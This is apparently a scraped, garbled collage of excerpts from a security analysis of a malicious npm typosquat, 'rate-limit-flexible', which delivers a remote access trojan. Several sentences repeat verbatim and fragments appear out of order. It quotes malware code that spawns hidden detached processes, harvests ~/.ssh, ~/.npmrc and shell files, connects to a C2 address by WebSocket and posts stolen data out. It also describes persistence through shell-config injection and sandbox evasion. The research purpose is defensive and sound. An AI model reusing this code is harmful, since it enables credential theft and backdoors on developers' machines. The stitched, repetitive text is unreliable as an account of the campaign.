ChainVeil

we found a malicious npm package called rate-limit-flexible — a typosquat of the popular legitimate package rate-limiter-flexible

Checkmarx Zero’s ongoing research into malicious open-source libraries has uncovered and reported a targeted supply chain campaign

Once connected, the C2 operator has a full interactive shell: Any shell command Executed via child_process.exec() — full shell access

Stage 2A is eval()‘d directly in the main thread... Stage 2B is spawned as a detached, hidden, silent child process

Every time the developer opens a new terminal, the malware re-executes

Users who have installed the packages are advised to remove them immediately, audit dependencies, rotate all credentials, and look for unauthorized modifications to .bashrc, .zshrc, and .profile files.

The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.

Every time the developer opens a new terminal, the malware re-executes

require ( 'child_process' ). spawn ( 'node' , [ '-e' , "global['_V']='" + campaignId + "';" + payload2 ], { detached : true , stdio : 'ignore' , windowsHide : true })

Users who have installed the packages are advised to remove them immediately, audit dependencies, rotate all credentials, and look for unauthorized modifications to .bashrc, .zshrc, and .profile files.

The rest of lib/lib.min.js is wrapped in an immediately-invoked function containing the YWG shuffler — a custom obfuscation layer

ViteVenom makes use of scoped package names in an attempt to impersonate the "@vitejs/*" namespace and lend it a veneer of legitimacy.

require ( 'child_process' ). spawn ( 'node' , [ '-e' , "global['_V']='" + campaignId + "';" + payload2 ], { detached : true , stdio : 'ignore' , windowsHide : true })

If it suspects it’s running inside a security researcher’s environment rather than on a real victim’s machine, it goes quiet

This snippet checks whether its own code contains a newline character... If it detects that tampering, it drops into while (true) {}

The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.

harvest ( "~/.npmrc" , ".npmrc" );

On macOS, it additionally reads Keychain exports, filtering for OAuth tokens

The most insidious persistence mechanism is code injection into shell configuration files. Every time the developer opens a new terminal, the malware re-executes.

harvest ( "~/.ssh/" , ".ssh" );

const platform = os.platform(); const hostname = os.hostname(); const uid = os.userInfo().uid

harvest ( "~/.bashrc" , ".bashrc" ); ... harvest ( "~/.ssh/" , ".ssh" ); harvest ( "~/.npmrc" , ".npmrc" );

If it suspects it’s running inside a security researcher’s environment rather than on a real victim’s machine, it goes quiet

This snippet checks whether its own code contains a newline character... If it detects that tampering, it drops into while (true) {}

If the Tron-based payload retrieval method fails, the malware uses Aptos as a backup.

const ws = WebSocket ( "ws://166.88.54.158:443" ... )

Stage 2B — the detached hidden process — skips the blockchain chain and fetches directly from the C2 over HTTP

It uses an unprecedented 4-tier blockchain-based Command and Control (C2) infrastructure spanning three blockchains (Tron, Aptos, Binance Smart Chain)

The endpoint /$/boot serves the XOR-encrypted RAT payload

deliver a remote access trojan (RAT) capable reverse shell, credential harvesting, file exfiltration, and persistent backdoor injection.

await http.post ( C2_URL + "/upload" , formData